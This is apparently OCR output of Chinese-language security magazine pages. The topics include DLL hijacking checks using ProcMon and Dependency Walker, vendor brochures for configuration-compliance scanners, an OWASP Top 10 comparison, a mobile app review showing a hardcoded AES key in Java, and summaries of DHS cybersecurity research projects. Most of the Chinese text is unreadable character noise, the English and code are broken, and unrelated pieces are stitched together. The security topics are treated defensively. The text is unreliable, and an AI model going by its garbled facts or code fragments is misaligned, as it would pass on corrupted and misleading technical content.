*a WEXTRACE DLL
X5 KERNEL2 DLL
A] NIDLL DLL
%) TP DL
52) WAGIFICATION. ILL

[ELC T |
€3 |1 ©s0001) [0 (3<0000) | WOTAssocati on | Gx0000BAAS |

<

1
3@ | 1esHmis DL

2@ |ver o .

X |MTRESLITE DL | XA, RAGETEHRRAIL A

%@ | AL pLL SRS, RTINS, @)
)

o009-02-09 16:52 | 2009-02-08 10:52

s
@ | overse. oo

GT4.615[A |GAO00BI00 | O<000RI300|xB  [Consele [CV | 0<7TDADOOD |0xTTE
>

17) 52 0x02300000. =
) WARE “ATASNT40. ILL” FHfiht 0x04483DS8.

17) EE] WULL. @ik BFAREOER. 26)

") WM "ATASKT40.DLL" TFHik 0x0448B100.

m. d117) B WL, @R RFAREONMR. 126).

Dependency Walker 2 Microsoft 2 9 — X E & H AW
PERBEBUDMT IR, TUAEDH DLL HFRBHORE,
EEEME2MITNAEREH DLL ##5FE. /A Dependency
Walker Fz)Z&# DLL #)#FiKR&% = ProcMon RETREERE
PHERRE EHA. BEEER HEXREE.

T BRI XBEE DLL B REEH NG, BER
R

1) [ ProcMon &% DLL ##FRiERE 1.

2) {# F Dependency Walker ( {EIE & &4 izf7) FTHAFN
N AERF.

3) AT “EIT” — “FRREITH

4) REJREL AN R AR RO TRE =, RFTFF 1) B AR BE S

S)BEEHMIBER. MAR:

Him&mS4riRfaY DLL 4o fF 4 DLL H#EFRRN, EX%
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R “ATASNT40.DLL” FHBHE 0:0447185A

k3

@

o
B “RER” I FL

HemR: ademtat THRER, TH4efitsdT DLL
BANERES, —BTA.
6) [F] ProcMon &% DLL ##FiFiEE 6.

(M) B4

REEA—RESIBMNER 5 DLL XA XEKE DLL
HHRETEBEERFENFRSLERGHARRENEFTNAER
7, mwin xp THAREFETHRDEANRG DLL 7774 DLL £
iR, 1B win7 TARE XA DLL M| A EEEXRR; mEaxA
FEFFINEMIERS DLL SRR SEH X EXEL DLL £ RiRE A
MHEE.

g3 RA—RMNEN DLL HFFRREER, RUT-LER]
BB EESR. S/XHXEE DLL i FR.
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ik, FEEBNEHMEAHBHENEXE, FANBMER~F]L
MELE K BAIER D

—. LkirEerdE
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R IR BB AN, EEYMRSTEF.

P

2016 &£ 11 B, LR A R F/BM R B A E R MIHFT i — N B
K7 (L3R LB EIMAMLL, REEREX BN fiEE
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RIE CPEARAMERZELER (L)), RIBTEHEIER.
BRILFTTE BEREHREREYR. EFNDRFHERILEERDN

BIh. BIEE, HRTHEXRGELEHESHIEX. EVYR
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RSP G T RN B, BRTEBHEEESN
Mus ER BB ERS. KRIENE, TESBENEHEM
TR, BEEWARRAZRELLF M,
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(1) FBHLREZRGTEMIE, BTIE “HaER;
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HI
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Wi

EEANREER.

1.3 RBEN. FEEFHENERRENEFR TR

MIREESF” BT, BREANEERIMAH AN SRR
H, EELMATHAMENTE, EXECRERER. A, £X
BERERE UENESRR” 1N5RR.

2018 £ 7 B, ENE—F “EEHRE HRIMERETH),
HIMEERRHL—ET=APEIEN. X—REIRERHA]

BERFRMAFEERANER, EENEFIERE FEE

FHREREREMNZ SR E ;

m SMET AN HRRS BERIMEZ MR, BETF “IF
ERVITENEERGNEFI TR SR, FRIMNERSEXITH;
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e

41

1.4 ALK LR BAEERF

‘iR BERMASEERARNRA, EREEESNEREL,
FEEEMEREB FIIRGRERE “WRE", ATNFREEE

R, WEERESHE, mAFRREEIRITRIE. B, EEA
RBEAA W RELETERIAD. HEMEERNTF
215, BRAF RS NRBAFNERES, #—PeEEER.

ZITABELTE
H MM HEA T

BB R
&, STERED. =
5T AR K, e\

w BRI FAERBINERES

n ERFZERERSN, NRAHMREBNMEELETREE;
 HERATRERTHEE

» EFHESREREN, FIURARBERTLETRRIE F
PESMERAN, BENRSXITENE .

=. PiERerE

TiERES VT TREERS M RT” HE ARER
RERAEES D RENERIASZEE, ARERGTRERN
ARREZFSEY. X2, —EoVATN—ER22MRAR,
XM ANBRERHTEERIRNES, SEFRERITE
HENRRFEEEL L. EXMERLT, CLRATMNREFARA

\EI




SECURITY

P (Tl

RBEMRAT RiFRE~ L aEhi—R,
BYF IR IE T (.
21 HETEFRPEWE

HETERE, REWEA LNWNIETIAZENNH, TE
HHNEFEARDTEME. DARR. £EIRE, FAFHEIS
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BeyondTrust | Qualys | Rapid7 | Tenable | Tripwire
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o HFFEMIRE

o SHUMEM, tbin: FISMA, STIG, HIPPA, CIS, SCAP,

2.2 KRR H SCABX=RNE

EIERIARES

ERRBEERLEEER
(FISMA) fiXEERTAES
AR (NIST) 800-53
EREMMIRE

HHEFREENFERRGER
(DISA) e ARXIEIEE
(STIG) EEHRA

BeyondTrust

Retina B¢ & & #l MR 0] PUR AR AR HE R R SR IS Sl SMBR B S8
HEZEE. RNETREMATEENEEEN.

FRFAE

HHEF R & Internet &
i (CIS) EAN

Configuration Auditing, R and Alerting
s widely
pted f the most effective pr The
Retina C pl to audit
against practices, reporting
for monitoring and regulatory purposes.
y
. Outoh ting and alerth
FDCC, NIST, STIG!

systems,
USGCBand Microsoft applications
- Assessments of audit and security settings, user rights, logging

EMERRREABSRIE
% (HIPAA) &HLIHRE

+  Built-in reporting and integration with Retina CS for deltas, trends and
other analytics

+ AnOVAL 56 SCAP-certified scan engine and Interpreter

1 HIPAA)

REFREFANSTH
SCAP 1R

M_EETTH, Gartner A h—/NMRofERY SCA

ERETIN: P2 S

EHBBNUTILA

o ERTRIUMSTRARIERS, BiRE, TEft;

o RFIILEMA ;

o IFANMUERERS;

C and Analytics
BUS B RR %R AR foremd et <
REEFIREE XM EH (5] to relevant corpor gt regulations, a:d
#n, NIST, STIG, CIS, \/ \/ \j \/ \/ industry standards.
Sarbanes-Oxley Act [SOX] . A —
Compliance Module

~ Compliance reports for PCI, HIPAA, SOX, GLBA, NIST, FERC/NERC, MASS
201,150, COBIT, ITIL, HITRUST and other regulations

- Mapping of
and mandates

- Comp =

enable

(¢
regulatory controls

Since 1998, Reti
Over
secure against future threats.
CONTACT CONNECT
BeyondTrust North America Twitter: @beyondtrust

Tel: 800.234.9072 or 818.575.4000

Facebook.com/beyondtrust
info@beyondtrust.com L

Configuration Compliance Module Benefits

- Ensure configuration compliance for all
network, mobile, virtual & cloud infrastructure

+  Savetime with automated configuration
audits delivered to a central Retina CS console

- Galn actionable data for making Immediate
Improvements to system and device security

- Easereporting with templates incorporating
multiple best practice guidelines

Regulatory Reporting Module Benefits

«+  Quickly identify, assess and manage IT risks
assoclated with regulation control objectives
+ Efficiently demonstrate compliance via
automated data mapping & report generation
«  Consistently monitor and respond to
compliance violations via a central dashboard
+  Stayahead of recent vulnerabliities and
control changes with regular, automated
updates from the BeyondTrust Research Team

Leamn more at

Tel: + 44 (0) 8704 586224
emeainfo@beyondtrust.com

& 1 BeyondTrust Th&t B MR
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Qualys
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/B CIS NI,
Qualys SCA s UFEEaT A/ 1T BREEARER , WIEIR KA.

=}

Broad coverage

Qualys SCA is an add-on for Qualys Vulnerability
Management that lets you assess, report, monitor and
remediate security-related configuration issues based
on the Center for Internet Security (CIS) Benchmarks. It
supports the latest out-of-the-box CIS benchmark
releases of operating systems, databases, applications
and network devices.

Ease of use

SCA’s CIS assessments are provided via a web-based
user interface and delivered from the Qualys Cloud
Platform, enabling centralized management with
minimal deployment overhead. CIS controls can be

selected and rding to an s
security policies. This eliminates the cost, resource and
deployment issues associated with traditional software

point products for configuration management

Accountability for controls

Qualys SCA controls are developed and validated in-
house by Qualys security experts and certified by CIS.
The controls are optimized for performance, scalability,
and accuracy. Qualys SCA can be used in IT
environments of any size, from small ones to the
largest.

I"G

Reports and dashboards

SCA users can schedule assessments, automatically

create reports of configuration issues,
and view dashboards for improving their security
posture. This brings full circle Qualys SCA’s automation
of security best practices behind leading benchmarks,
and lets InfoSec teams take a proactive approach

towards digital business security.

2 Qualys Th&E s MEE

# CIS AR,

o HHIT/IE
Qualys SCA 3z
IX LE R S 3 14 B

o M

SCA f CIS i¥{#2 Qualys ZFA
RELI, BT EFUE
Rz £ RIEEETEE X CIS 245,
MR AR

o REFUFRIR
SCA AP

H, EEBFHLE

iy Qualys & & EREXNMBFARMEIE , I
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HERTESEGRATRER
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THEE[D#ARE. Qualys 22 e REEINL , FILREBEB
FRXFHFIEHRE.
Rapid7

HEREEEAMMER : Nexpose AR BIFLLEF PCI
DSS,NERC CIP,FISMA(USGCB/FDCC),HIPPAA/HITECH,Top20
CSC,DISA STIGS fIX kK / J&iF / EREEIRM CIS #rk. SHEMT
BEEMRAIE TR AENMRTTRARE, Nexpose HRE. G—M
ZeMMEMMEITEELRETBONG NGRS KRS RS
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nexpose
Reduce Your Risk of a Breach

Rapid7’s on-premise vulnerability management solution, Nexpose, helps you reduce your threat exposure by enabling you to assess and respond to changes in
your environment real time and prioritizing risk across vulnerabilities, configurations, and controls

Data breaches are growing at an alarming rate. Your attack surface is constantly changing, the adversary is becoming more nimble than your security teams, and
your board wants to know what you are doing about it. Nexpose gives you the confidence you need to understand your attack surface, focus on what matters,
and create better security outcomes.

1f you are looking for more advanced capabilties such as Remediation Workflow and the Rapid? Insight Agent, check out our platform.based vulnerabilty
management software, InsightVid

[l 3 Rapid7 ¢ B M#E

Tenable

tenable

GET THE POWER OF NESSUS
BEHIND YOU

Nessus® Professional is the industry’s most widely
deployed assessment solution for identifying the
vulnerabilities, configuration issues, and malware that
attackers use to penetrate your, or your customer's
network. With the broadest coverage, the latest

intelligence, rapid updates, and an easy-to-use interface,

Nessus offers an effective and comprehensive
vulnerability scanning package for one low cost.

Crtcal High
1

Detals

CyberExposure  Products  Solutions  Services Company Partners Blog

Soverity Plaginid

i

PHTRE

o BELRE: NARETNBLEETRL;

o SN WENHEBUN, BEMMSIHEMER
o A TR 2R EL PCI DSS ZX.

B

o BFML /BRE, #iE/ REFHIT

What's New in Nessus Professional v7?

Download the Data Sheet

EEERX:

Name
Microsot NET Frameuok Unsupportsd

113 KB2269637 Insscure Litary Loading Could Alow
145 KB2719652 Vlnaraisies in Gadaets Coukd Al
MS15.011 Vnarabiy i Group Polcy Could Alow Re
1515128 Cumulative Sacurty UpdateforIfernt Ex;.

145 KB3074162 Vulnerabity in Microsoft Malcous Sol
MS Security Advisory 2674264 Vulnerabity in Micioso

1S KB3003008 Vulnerabilty i SSL 30 Could Alow In

MicrosoR Windows SMB Registry Wilogon Cached P

Windows NetBIOS / SMB Remote Host nformaton Dis

Apply the power that more than 1.6 million global Nessus users trust

& 4 Tenable T8 = MEE

e CERT,CIS,COBIT/ITIL,DISA STIG,FDCC,ISO,NIST,NSA,PCI,

Tripwire

Automate IT Requlatory Compliance
Quickly and Painlessly with Tripwire

Sarbanes-Oxley (SOX)
Compliance

Leverage Tripwire's controls 10 collect
and protect sensitive customer
information for automated and
continuous SOX compliance.

( LEARN MORE

FISMA, NIST & Other
Federal Mandates

Tripwire enables government agencies to
effectively and efficiently keep up with
changing Federal compliance standards
while enhancing cybersecurity.

PCl Data Security Standard
(PCI DSS)

Automate your PCI 3.2 compliance
efforts to secure cardholder data with
Tripwire's solution that helps meet the file:
integrity monitoring, logging and
vulnerability assessment requirements of
PCI32

LEARN MORE

General Data Protection
Regulation (GDPR)

Secure European citizens' personal data
and achieve GDPR compliance with
Tripuire's essential controls and
continuous, audit-ready capabilties

LEARN MORE

| LEARN MORE

5 Tripwire &M INEEEL

=)

NERC Critical Infrastructure
Protection (NERC CIP)

Accelerate your NERC CIP compliance
with buitin policies, audit-ready
reporting and automated assessments
for registered entiies

LEARN MORE

HIPAA Compliance

Tripwire's HIPAA solution minimizes the
time spent fighting fires caused by poor
network security practices and enhances
data security for electronic personal
health information (PHI).

LEARN MORE
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EETRANKEFREAAE, TET~RRENE, REFHRRYP
TEeRUERT, 7+
BRYE 2018 FiEHE
FRRP20TE
HEH. EUEM L,

EE R S AR BRBAE T
e b, RERBTEAN
FTINEeRERR,

H 6 RENH RS RENS RARMNE RETENTLEREE

WREE, BEBUN. £8. #IR EER. ERMNEREMY, te
EES IT EERGENREEERMELE REZE2EHEE.

ESMb BT ZAEEM, L NISTPCIDSS &, HAiH K%
SCA HEIBEBFINT :

2.2:Develop configuration standards for all system
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PCIDSS

CM-2:Baselinne configuration

NIST 800-53rev4 | CM-6:Configuration settings

CM-T7:Least functionality

NIST Cybersecurity
Framework

PR.IP-1:Baseline configurations are created and
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ISO/IEC 27002:2013 |A.14.2.8:System security testing

A.18.2.3:Technical compliance review
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[ SCA SEEMREEH

1R#E OWASP #y 2017 FFiREUEE = , REFE(f Top10 Hh, =
SEREOFEAETEANMLE FORETENEERM.
UT R EE ML JLFER A SCA [BE5 BN ERREEMS:

OWASP Top 10 - 2013
A1 - Injection

2> OWASP Top 10 - 2017
5 A1:2017-njection
A2 - Broken

and Session =) A2:2017-Broken Authentication

A3 - Cross-Site Scripting (XSS) |
U
b}

.

A3:2017-Sensitive Data Exposure
A4 - Insecure Direct Object References [Merged+A7] A4:2017-XML External Entities (XXE) [NEW)
A5 - Security Misconfiguration A5:2017-Broken Access Control [Merged]
AB - Sensitive Data Exposure AB:2017-Security Misconfiguration

A7 - Missing Function Level Access Contr [Merged+A4] | ) A7:2017-Cross-Site Scripting (XSS)

AB - Cross-Site Request Forgery (CSRF) [ AB:2017-1 [NEW, C:

A9 - Using Cs with Known =) A9:2017-Using Components with Known Vulnerabilities

A10 - Unvalidated Redirects and Forwards [X] A10:2017-Insufficient Logging&Monitoring [NEW,Comm.]
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Instruments 4. HENHIERTEELENESEZEZNESHK
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BEATEDFZF, REBRHBHASINEIRG.

HEE

ZERBAMMER, 1T LERFREUNELREER
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FUEREE RS HEKZRHIPLESZIERFEMIE,
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EERAREIFH.
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[1] BeyondTrust. Qualys, Rapid7. Tenable |} % Tripwire B .
[2] Kubernetes 2% : REHR, BIELE.
[3] 2017 £ OWASP #4R .
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AEPTRATYAERE ENERKM L, BHERs 1T NMERERE
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Z
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FiG. B BERE. ZREERS. SEXESNAY
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ZREEFEEERT—F, HATEBENTR, RORBEELK
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SSOERRGEES
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: CN=minimap, OU=mobile department.

Inv
byt
cKe
cKe
cKe
cKe
cKe!
cKe
cKe
cKe
cKe
cKe
cKe
cKe
cKe
cKe
cKe
byt
Sec
Cip
cip
byt
byt
int
int
int

1) 5
v.n\‘\pp\ﬂutu _Navig. \tlo _Ecol]

\up(latl.\;y.,

NIHﬂP -RSA
=minimap, OU=mohile department, O=autonavi, L=heijing, S$T=heijing, C=c|
O=autonavi, L=heijing, ST=heijing, C=c

032728 _

Mon May 31 11:04:08 CST 2018 F Tue Mar @3 11:04:88 CST 2065

MD5: 3F:9E:AE:A4:F2:D4:28:5C:2D:DB:BD:A7:39:13:64:79
:3E:C6:C5:3F

void crypt(InputStream in, OutputStream out, int mo
IOException, ShortBufferException, IllegalBlockSizeException,
NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyE

alidAlgorithmParameterException {
ell cKey bytel16];
y[1] (byte) 1;
y[2] = (byte)
y [3] (byte) 3;
y[4] = (byte)
y [5] (byte)
y [6] (byte)
y[7] = (byte) 7
y [8] (%)
y[9]1 = (byte)
y[10] = (byte)
y[11] (byte)
y[12] = (byte)
y [13] (byte)
y[14] = (byte)
y [15] (byte) 15;
e[l IV byte[lﬁ],
retKeySpec skeySpec SecretKeySpec(cKey, "AES");
her cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
her.init(mode, skeySpec, IvParameterSpec(IV));
e[l inBytes bytel[SignUtil.BUFFER_SIZE];
e[l outBytes byte[10256] ;
inLength = 0;
readlen = 0;
rlen SignUtil.BUFFER_SIZE;

1. EFREHS
ZEH App EZ KRR TF ARG, &4 App £ T debug %4,
BXBTHBAAREIE, L App XA ERE BWAXE

W,
2. HiIRREHS

B9 App Rz ISR AT B T E A R AR B8 2L,
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3. RFEREMS
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REERMA, TUH— PN T REHITER.
4. BEREHBS
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ENGEEEMBEIEFRERMBAFRRNERDE. D6
BAERZAEENR, iz B W=k BHREIEETE

KAERGEwERNIRZEHEER.
B, BRBEFAFREN. ABBENS. EHRE. E-
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TR IRMEN P2P R A TR RBEAEREIRESRMAT. X
HEARE, BERERIMEEN BARERSUERETE

DKSM M EAKRE. ANEIRT - 1MSEREFEEN MR

AREPFEEEMES.

3. URIEFETHNEEBRN DB RIKARA (Verifable Claims
and Fit-for-Purpose Decentralized Ledgers)

ZUE BT E R MAI K B aE el kA S Digital Bazaar
nFE FRUNERSEFILNET WEB IR ARRENESD
HFRIE N AERF, ABERRERICEFRIERS.
BRTRH ID REHFRIEUEFEBLIBHNREREFHEMN

EE

[SElvmiP e
THERE

¥

E 12 RIMER R B EBFEREMIKKE

BEIRENRER. EROTMNEBEIHERM TR RELE
4. BINREFREMYITE (Mobile Device and Attributes Validation)

%I B B Lockstep Technologies LLC /A3 fi%. 2 A RE
BN RIS KRR EIE. AR, IERE ERIUERE
MR AT T TR AR, FEBRE AR NI GATHALR,
BERY). BhirkFBEURIE (MADV) BB TE—10HIER M
MHESM. ATEHREESALAARMEWIED, UHEKBEMUME
HEM—1> app EEERAH—1 app, RIERTEHLBERR
AVFEE. 4. EREMBEARHANRE. TUE—REB
RERBMERIR.
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Al Ocganizations

FIRE FIGHTER EMT
229201 7- L IUSR N A5 t
HAZARDOUS MATERIAL STRUCTURAL ENGINEER

Pipaliine & Hazardous Matecia.

SEO019. 2017 2018

RESCUE COMMANDER SAFETY EQUIPMENT
ARAATATAANY ) WA TTESE

EXPLOSION EXPERT EMERGENCY VOLUNTEER
FORENSIC TECHNICIAN

B 13 MDAV [ iz i S5 — M SR B M T 46

N MERETHAARREEETR

T R ER B RS A W B B2 2 2R 3 £ BUIE (Lightweight Media

Forensics for Insider Threat Detection)

ZIM B AEMAZE (University of Texas San Antonio) fa
R B RFETMAENERAFHTE DRIEHDIANGE
BWEMEHELESTH KAERBLINTANES. BTN
NEEZRSATREILE. BRARPEEXY, Freibth

e
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Explocabon &/
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; STEP2
| Unautnorized | Data
. Information \ Acquistion
Jransfor ‘ * Hostie nsider
STEP3 & °
\ e Qa mdlaenmﬁon
AGI
Lightweight Management Console
Media Forensics
Reports

Bl 14 ¥ 2 ERA BRI A P BRI SR SR BB LUE &S

RS FNFERNEENEHN DRI FENGIT
Tk, RETH-THENMSTIE. XMITENTEERR
€ RIS 7 B IR 1T A Z TR B A A W EDEZ B4, AR T X
hEERGHUE.

. BHREFHHE

1.iSentinel #5118 & AESIME

WIME B % = (HRL Laboratories LLC) . @it
EERYE. FREANEE AR
REFAZRE. EEH. ETITANAME KAnERENRS
ERMAEHURAMER R, BHENESTARRDINERS
THERIRR.

2. %3 N A E{RIE Mobile App Software Assurance

% Il 2 4 iSentinel,

ZI B /A Kryptowire LLC A8 f13%.

KB ARFNORA, EBHNRENS

Kryptowire E—FfEz1M
SERBBUFMTE R
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Continuous Online Authentication

Sensors cn phone: . 1% stage: continuous
accelerometers, IR o P %
Byroscopes, sakes — ory power
magnetometers, tocaifront 53
touch sensors o Rrocess

B 15 FERNRRE

S TR REED IR ITE R A 2R A [E),
AR TE X AR A AR NI AT & SRR,

AR

Kryptowire Portal or Appliance

Approval
Witolist App |

—

Block App

Analysis
& Policy

()=

E 16 BEARGZE ERTE

e

3. @I MR 2 REIMFB AT 15 5 (Remote Access for
Mobility via Virtual Micro Security Perimeters)

%0 B B F M S F AR T K2 (Rutgers University) £ 35,
AR AMBRERGREHTRNEIERP G, EAFNETNE
B SRR BRFNINE SRS B AT IR IR B AR
ZENBERGEINAREF. B, BFMEYARTUERRT
HREMTEMEN, DESRIRLEEROGUEEIE.

N MBRGREFHHE

ZBRTIRTE

1.Trinocular 4 152 8 B B R

iZIE A University of Southern California/Information Sciences
FERRSHEBMFHT, 02011 FIRE BEMX .
2012 AN I, 2017 FFRENISLE, IR —L \IURARATTHIIEH.
BEUENITECNEBKM PN, RETHREMNES, MhizEN
HETTEEME. PR T B A E RN T RS, FaEERTIE
REELAPRES. TIRESEK 400 254 IPv4 MG ENEEE, o]
BRRERERSDIENEND ZRZHI T

2911 M NGO REGIEZT LR

Institute f135.

1% W B 1 Securelogix /4 8] $1 3. B 1E 1E 4E R %5 (TDoS -
FERBANMGEN, BHAHR
£S5, MONANAAR. MRESYEBRKELHEIMERE,
TDoS B B4 A B WL, BSBABXEELEERERAR
WIELEFEFRIEERTORE B ST

WRSHN SRS AT ERM MmN D HRIELRS

Telephony Denial of Service) &—

%. TDoS W E%
1.
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(DDoS) iR, TDoS it &MME -~ 5HRITHEAKE.
ZMEETHANESREMATR, RETEERMEZTME LY
BHRME TSHEERNLSANERRGMRFEI51%E; B
FFR I UE R I 2 A4 VR I ThEE, R 9N R EIE RAES
E A EE TDOS B .

3. BN S M ZEH

ZW B Intelligent Automation,Inc. AS] sk, HFTM%KAIEE
SHABHHFRAT ZONTINERRRER. T IRRTEEN

& ATEXMNZHRE, ZADERTEERETZRAZFT, E
ZHEAHEABRKIN S ML LE 4 (SDNA-Self-Shielding Dynamic
Network Architecture) 5# F 2B T ¥ M EFBI5E 55 H
(FC2) #£%2, SDNA B—FhMLEEMHE BRI HMZA. HILE

IS A THBIAY RSB, oI 2R IP ML PN ER S TR %
(runtime) ##TRIEE, MM EEZERMNLLBTR.

. BHREZHTIE

1. %3N 8511k (PTA - Penetration Test Automation)

% B A Secure Decisions AT %K. &¥, ZFRESET=
AT E/IEM: SQLMap, Hydra 1— /5 H9 B 5 & B A& (XSS)

BRI FRARTBLRHENBRBHENTER LS
IR, & 20 —RERS TERHABENKIENA
Hk. FETANENULEXZFURAENZENHEMHIES T
MR HIRE.

2. Code Ray- B RGN AEFREMNAEIFBLIA M RREE

AFEMNE AR E SDNA-FC2 REIR S, RFERIPESHKNEZIZE 1% B B Secure Decisions A5 fi3k. Code Ray 2—f4&
HEH. XEAEFARGRE—AFOSEHEIE BiixeE TEHESNNSKARFZEHNRERNER. eREERTIEAR
e N\ e I\

Eﬁl JW‘,

= W 1

S R

o *\@_, <

More accurate
and reliable for
detecting vulnerabilities.
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REENRERE, MREFAEMBABLERT THINIEET B
AR, ZHEARES Code Dx HM4H-mEXMIEERGE—REM, 7
Ak AR E T (SWAMP - Software Assurance Marketplace).

3. ThreadFix- ;8 &9 ik 5%

%I E # Denim Group A8 3R, ThreadFix JREU 23R
RN E RIS H#THEN, WEIDWARRHRART R MG =
SRENEEAE. s ThreadFix KX LERZX G MNIESR
EANTREFHEMFIEEXE, AFARKNEERRFRER
BRI B9 .

4. LR A% 4204788 (Real-Time Application Security Analyzer)

%I EH RAM Laboratories, Inc. A8k, T8N, ERFHE
EH C/C++ B RSN HIFEN A B THITXHRRRFE, BIE
R AT RBAERL TR #17. RASAR (95 H MR ETIN
B TS I 51 MRS IRAR R AR A A AL R L.

X #546  OWASP #0 Defense Information Systems Agency

e " Ranks and
Binary Code I truments Applics CWE Prloritizes Reports Binary
Binay Wincrabilty Checks Sareii] Vaudncrabilities
Deployment Faston

— -

Apply Sccure Correlites / Filtors
4 Code Codung Checks Roports to \:":‘;
it avaitabic) Medute Faise Positives Yulerabiity
Reports
22 THejig

.

Security Technical Implementation Guides RS HIER, FHE

YERBUREN, TERERZEARBHRMHERL.

SERE

5[ CSD %{f Douglas Maughan 13§ 1X 2T B 7 1F “ 482
THETZEVMXAIAT AN IEZRMEZERERAHRS
MRIIEMEE". CSD ARXLEBBRETRIFVTATIR, (iR
ARG, BXLEMBRANZLES, MURREELIREIE
HIMZg=EReE@. CSD WXLMBNKRBNIBLREERFE .

BET-TIRENMBNE AR, ABITUSANENTH :

w ERhRE  MEMIELESHE. UL

w ARG BTG, SHREM. HDDoS. #iTDoS. 5
W2

m BaiRe HIERA. BAIAE

m RERE  BENRBSN. BERXILFERE. F8

BIRS, XLEFXTENMUGIT FHRAEALFHIT A, tean
XihgE, M IF; AT RMNTROIN - LENERETE
BRI thanERRA. A MEREENSEPANERES),
X LA T UME AT RIS RREFTRA DT

=

Za Y

SEEH

[1] https:/www.dhs.gov/science-and-technology/news/2018/03/12/news-
release-st-announces-release-new-cybersecurity-research.
[2] https://lwww.dhs.gov/science-and-technology/cyber-security-

division.
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